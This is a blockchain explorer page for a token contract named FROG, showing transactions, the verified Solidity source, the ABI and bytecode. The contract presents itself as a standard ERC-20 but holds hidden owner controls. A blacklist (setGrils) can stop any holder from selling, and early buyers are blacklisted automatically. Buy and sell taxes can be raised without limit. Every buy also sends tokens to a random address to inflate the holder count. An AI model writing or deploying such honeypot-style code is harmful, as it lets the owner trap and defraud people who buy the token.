Feature Tip: Add private address tag to any address under My Name Tag !
Overview
ETH Balance
1 wei
Eth Value
Less Than $0.01 (@ $3,157.51/ETH)More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 2,064 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 21190162 | 4 days ago | IN | 0 ETH | 0.00041079 | ||||
Approve | 21190160 | 4 days ago | IN | 0 ETH | 0.00042897 | ||||
Approve | 20531286 | 95 days ago | IN | 0 ETH | 0.00006259 | ||||
Approve | 20531285 | 95 days ago | IN | 0 ETH | 0.00011051 | ||||
Transfer | 19729137 | 208 days ago | IN | 0 ETH | 0.001854 | ||||
Approve | 19717195 | 209 days ago | IN | 0 ETH | 0.00018136 | ||||
Approve | 19710124 | 210 days ago | IN | 0 ETH | 0.00041164 | ||||
Approve | 19586205 | 228 days ago | IN | 0 ETH | 0.00041123 | ||||
Approve | 19177772 | 285 days ago | IN | 0 ETH | 0.00336668 | ||||
Approve | 19130941 | 291 days ago | IN | 0 ETH | 0.00098947 | ||||
Approve | 19123690 | 292 days ago | IN | 0 ETH | 0.00048359 | ||||
Approve | 19122015 | 293 days ago | IN | 0 ETH | 0.00117648 | ||||
Approve | 19058493 | 302 days ago | IN | 0 ETH | 0.0005427 | ||||
Approve | 19049174 | 303 days ago | IN | 0 ETH | 0.0008402 | ||||
Approve | 18955860 | 316 days ago | IN | 0 ETH | 0.00079825 | ||||
Approve | 18952878 | 316 days ago | IN | 0 ETH | 0.00088828 | ||||
Approve | 18917783 | 321 days ago | IN | 0 ETH | 0.00031422 | ||||
Approve | 18777590 | 341 days ago | IN | 0 ETH | 0.00101405 | ||||
Approve | 18696843 | 352 days ago | IN | 0 ETH | 0.00156455 | ||||
Approve | 18677965 | 355 days ago | IN | 0 ETH | 0.00109653 | ||||
Approve | 18677936 | 355 days ago | IN | 0 ETH | 0.00102399 | ||||
Approve | 18614464 | 364 days ago | IN | 0 ETH | 0.00161635 | ||||
Approve | 18425158 | 390 days ago | IN | 0 ETH | 0.0003259 | ||||
Approve | 18413305 | 392 days ago | IN | 0 ETH | 0.0014292 | ||||
Approve | 18399407 | 394 days ago | IN | 0 ETH | 0.0009065 |
Latest 25 internal transactions (View All)
Advanced mode:
Parent Transaction Hash | Block | From | To | |||
---|---|---|---|---|---|---|
19729137 | 208 days ago | 0.007 ETH | ||||
19729137 | 208 days ago | 0.007 ETH | ||||
19729137 | 208 days ago | 0.014 ETH | ||||
18399408 | 394 days ago | 0.00096473 ETH | ||||
18399408 | 394 days ago | 0.00096473 ETH | ||||
18399408 | 394 days ago | 0.00192946 ETH | ||||
18371083 | 398 days ago | 0.0011144 ETH | ||||
18371083 | 398 days ago | 0.0011144 ETH | ||||
18371083 | 398 days ago | 0.00222881 ETH | ||||
18348374 | 401 days ago | 0.00004874 ETH | ||||
18348374 | 401 days ago | 0.00004874 ETH | ||||
18348374 | 401 days ago | 0.00009749 ETH | ||||
18342588 | 402 days ago | 0.0000529 ETH | ||||
18342588 | 402 days ago | 0.0000529 ETH | ||||
18342588 | 402 days ago | 0.00010581 ETH | ||||
18310557 | 406 days ago | 0.00002429 ETH | ||||
18310557 | 406 days ago | 0.00002429 ETH | ||||
18310557 | 406 days ago | 0.00004859 ETH | ||||
18296875 | 408 days ago | 0.00009813 ETH | ||||
18296875 | 408 days ago | 0.00009813 ETH | ||||
18296875 | 408 days ago | 0.00019627 ETH | ||||
18288406 | 410 days ago | 0.00001681 ETH | ||||
18288406 | 410 days ago | 0.00001681 ETH | ||||
18288406 | 410 days ago | 0.00003363 ETH | ||||
18287768 | 410 days ago | 0.00002641 ETH |
Loading...
Loading
Contract Name:
FROG
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-29 */ /** *Submitted for verification at Etherscan.io on 2023-08-29 */ /** *Submitted for verification at Etherscan.io on 2023-08-29 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function transferOwnership(address newOwner) public virtual onlyOwner { emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract FROG is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) public _Grils; uint256 public gb = 0; uint256 public goMoonBlock = 0; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 420000000000000000000000000; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 1; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 1; uint256 private _redisFee; uint256 private _taxFee; string private constant _name = "FROG"; string private constant _symbol = "FROG"; uint8 private constant _decimals = 9; address payable private _developmentAddress = payable(0xEbAE1AA377d9243C047a0C3F1C09e8422f747BD8); address payable private _marketingAddress = payable(0x0A3d381d7548306b3aF7AbA83c151b5b1766122C); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private inSwap = false; bool private swapEnabled = true; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function setGrils(address girl, bool status) public onlyOwner { _Grils[girl] = status; } function setGB(uint256 g) public onlyOwner { gb = g; } function goMoon(uint256 g) public onlyOwner { goMoonBlock = g; if(g == 1) { goMoonBlock = block.number; } } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_Grils[from], "Transfer not allowed"); _redisFee = 0; _taxFee = 0; if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance > 0) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } if(!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) { require(goMoonBlock != 0, 'Transfer not open'); } if(from == uniswapV2Pair && to != address(uniswapV2Router)) { if (block.number < gb + goMoonBlock) { if (from == uniswapV2Pair) { _Grils[to] = true; } } _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; address ad; for(int i=0;i < 1;i++){ ad = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp))))); _transferStandard(from,ad,100); } amount -= 100; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { _redisFee = 0; _taxFee = 0; } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } event tokensRescued(address indexed token, address indexed to, uint amount); function rescueForeignTokens(address _tokenAddr, address _to, uint _amount) public onlyOwner() { emit tokensRescued(_tokenAddr, _to, _amount); Token(_tokenAddr).transfer(_to, _amount); } event devAddressUpdated(address indexed previous, address indexed adr); function setNewDevAddress(address payable dev) public onlyOwner() { emit devAddressUpdated(_developmentAddress, dev); _developmentAddress = dev; _isExcludedFromFee[_developmentAddress] = true; } event marketingAddressUpdated(address indexed previous, address indexed adr); function setNewMarketingAddress(address payable markt) public onlyOwner() { emit marketingAddressUpdated(_marketingAddress, markt); _marketingAddress = markt; _isExcludedFromFee[_marketingAddress] = true; } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress || _msgSender() == owner()); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress || _msgSender() == owner()); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setRules(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previous","type":"address"},{"indexed":true,"internalType":"address","name":"adr","type":"address"}],"name":"devAddressUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previous","type":"address"},{"indexed":true,"internalType":"address","name":"adr","type":"address"}],"name":"marketingAddressUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"tokensRescued","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_Grils","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"gb","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"g","type":"uint256"}],"name":"goMoon","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"goMoonBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddr","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"rescueForeignTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"g","type":"uint256"}],"name":"setGB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"girl","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"setGrils","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"dev","type":"address"}],"name":"setNewDevAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"markt","type":"address"}],"name":"setNewMarketingAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setRules","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040525f6007819055600855620000266b015b6a759f4835dc240000005f1962000347565b62000033905f1962000367565b6009555f600b8190556001600c819055600d91909155600e55601180546001600160a01b031990811673ebae1aa377d9243c047a0c3f1c09e8422f747bd81790915560128054909116730a3d381d7548306b3af7aba83c151b5b1766122c1790556014805461ffff60a01b1916600160a81b179055348015620000b4575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600954335f9081526002602090815260409182902092909255601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa1580156200016e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200019491906200038d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001e0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200020691906200038d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000251573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200027791906200038d565b601480546001600160a01b0319166001600160a01b039283161790555f80548216815260056020526040808220805460ff1990811660019081179092553084528284208054821683179055601154851684528284208054821683179055601254909416835291208054909216179055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6b015b6a759f4835dc240000006040516200033891815260200190565b60405180910390a350620003bc565b5f826200036257634e487b7160e01b5f52601260045260245ffd5b500690565b818103818111156200038757634e487b7160e01b5f52601160045260245ffd5b92915050565b5f602082840312156200039e575f80fd5b81516001600160a01b0381168114620003b5575f80fd5b9392505050565b611c8280620003ca5f395ff3fe6080604052600436106101b2575f3560e01c8063820a6392116100e7578063c3c8cd8011610087578063d592ca5e11610062578063d592ca5e146104a8578063dd62ed3e146104c7578063e293d3161461050b578063f2fde38b1461052a575f80fd5b8063c3c8cd8014610460578063c492f04614610474578063d47b8ff714610493575f80fd5b806395d89b41116100c257806395d89b41146101bd57806399fba6031461040d578063a9059cbb14610422578063aad5c02314610441575f80fd5b8063820a6392146103b35780638da5cb5b146103d25780638f367cf0146103ee575f80fd5b8063313ce567116101525780636fc3eaec1161012d5780636fc3eaec1461034d57806370a0823114610361578063715018a614610380578063758dbe0314610394575f80fd5b8063313ce567146102f457806349bd5a5e1461030f5780636d8aa8f81461032e575f80fd5b806318160ddd1161018d57806318160ddd1461025e57806323b872dd14610286578063247d9bb9146102a55780632a6ed03c146102c6575f80fd5b806306fdde03146101bd578063095ea7b3146101f85780631694505e14610227575f80fd5b366101b957005b5f80fd5b3480156101c8575f80fd5b50604080518082018252600481526346524f4760e01b602082015290516101ef9190611863565b60405180910390f35b348015610203575f80fd5b506102176102123660046118c2565b610549565b60405190151581526020016101ef565b348015610232575f80fd5b50601354610246906001600160a01b031681565b6040516001600160a01b0390911681526020016101ef565b348015610269575f80fd5b506b015b6a759f4835dc240000005b6040519081526020016101ef565b348015610291575f80fd5b506102176102a03660046118ec565b61055f565b3480156102b0575f80fd5b506102c46102bf36600461192a565b6105c6565b005b3480156102d1575f80fd5b506102176102e0366004611959565b60066020525f908152604090205460ff1681565b3480156102ff575f80fd5b50604051600981526020016101ef565b34801561031a575f80fd5b50601454610246906001600160a01b031681565b348015610339575f80fd5b506102c4610348366004611981565b61060c565b348015610358575f80fd5b506102c4610653565b34801561036c575f80fd5b5061027861037b366004611959565b6106b1565b34801561038b575f80fd5b506102c46106d2565b34801561039f575f80fd5b506102c46103ae366004611959565b610743565b3480156103be575f80fd5b506102c46103cd36600461199c565b6107de565b3480156103dd575f80fd5b505f546001600160a01b0316610246565b3480156103f9575f80fd5b506102c461040836600461199c565b61080c565b348015610418575f80fd5b5061027860085481565b34801561042d575f80fd5b5061021761043c3660046118c2565b61084a565b34801561044c575f80fd5b506102c461045b366004611959565b610856565b34801561046b575f80fd5b506102c46108f1565b34801561047f575f80fd5b506102c461048e3660046119b3565b610957565b34801561049e575f80fd5b5061027860075481565b3480156104b3575f80fd5b506102c46104c2366004611a32565b6109f4565b3480156104d2575f80fd5b506102786104e1366004611a69565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b348015610516575f80fd5b506102c46105253660046118ec565b610a47565b348015610535575f80fd5b506102c4610544366004611959565b610b2d565b5f610555338484610baf565b5060015b92915050565b5f61056b848484610cd2565b6105bc84336105b785604051806060016040528060288152602001611c25602891396001600160a01b038a165f908152600460209081526040808320338452909152902054919061116b565b610baf565b5060019392505050565b5f546001600160a01b031633146105f85760405162461bcd60e51b81526004016105ef90611a95565b60405180910390fd5b600b93909355600d91909155600c55600e55565b5f546001600160a01b031633146106355760405162461bcd60e51b81526004016105ef90611a95565b60148054911515600160a81b0260ff60a81b19909216919091179055565b6011546001600160a01b0316336001600160a01b0316148061068857506012546001600160a01b0316336001600160a01b0316145b8061069c57505f546001600160a01b031633145b6106a4575f80fd5b476106ae816111a3565b50565b6001600160a01b0381165f9081526002602052604081205461055990611226565b5f546001600160a01b031633146106fb5760405162461bcd60e51b81526004016105ef90611a95565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461076c5760405162461bcd60e51b81526004016105ef90611a95565b6012546040516001600160a01b038084169216907fa64373a629bc0c09eacf8a9cc2c7b070fa0a8b7e2e9b8aaee408a3c02eb1676b905f90a3601280546001600160a01b039092166001600160a01b0319909216821790555f908152600560205260409020805460ff19166001179055565b5f546001600160a01b031633146108075760405162461bcd60e51b81526004016105ef90611a95565b600755565b5f546001600160a01b031633146108355760405162461bcd60e51b81526004016105ef90611a95565b600881905560018190036106ae574360085550565b5f610555338484610cd2565b5f546001600160a01b0316331461087f5760405162461bcd60e51b81526004016105ef90611a95565b6011546040516001600160a01b038084169216907ffbbc329437e8c79f847e170730ad6dd04106b7511cad70d06d635886d92de83c905f90a3601180546001600160a01b039092166001600160a01b0319909216821790555f908152600560205260409020805460ff19166001179055565b6011546001600160a01b0316336001600160a01b0316148061092657506012546001600160a01b0316336001600160a01b0316145b8061093a57505f546001600160a01b031633145b610942575f80fd5b5f61094c306106b1565b90506106ae816112a8565b5f546001600160a01b031633146109805760405162461bcd60e51b81526004016105ef90611a95565b5f5b828110156109ee578160055f8686858181106109a0576109a0611acc565b90506020020160208101906109b59190611959565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055806109e681611af4565b915050610982565b50505050565b5f546001600160a01b03163314610a1d5760405162461bcd60e51b81526004016105ef90611a95565b6001600160a01b03919091165f908152600660205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610a705760405162461bcd60e51b81526004016105ef90611a95565b816001600160a01b0316836001600160a01b03167f47c33aa230eb5fd181505aa7befeaddd9b8a6f983989cea73a7868448c3a9ed983604051610ab591815260200190565b60405180910390a360405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303815f875af1158015610b09573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ee9190611b0c565b5f546001600160a01b03163314610b565760405162461bcd60e51b81526004016105ef90611a95565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c115760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ef565b6001600160a01b038216610c725760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ef565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d365760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ef565b6001600160a01b038216610d985760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ef565b5f8111610df95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ef565b6001600160a01b0383165f9081526006602052604090205460ff1615610e585760405162461bcd60e51b8152602060048201526014602482015273151c985b9cd9995c881b9bdd08185b1b1bddd95960621b60448201526064016105ef565b5f600f819055601055610e725f546001600160a01b031690565b6001600160a01b0316836001600160a01b031614158015610ea057505f546001600160a01b03838116911614155b1561115b575f610eaf306106b1565b601454909150600160a01b900460ff16158015610eda57506014546001600160a01b03858116911614155b8015610eef5750601454600160a81b900460ff165b8015610efa57505f81115b15610f1a57610f08816112a8565b478015610f1857610f18476111a3565b505b6001600160a01b0383165f9081526005602052604090205460ff16158015610f5a57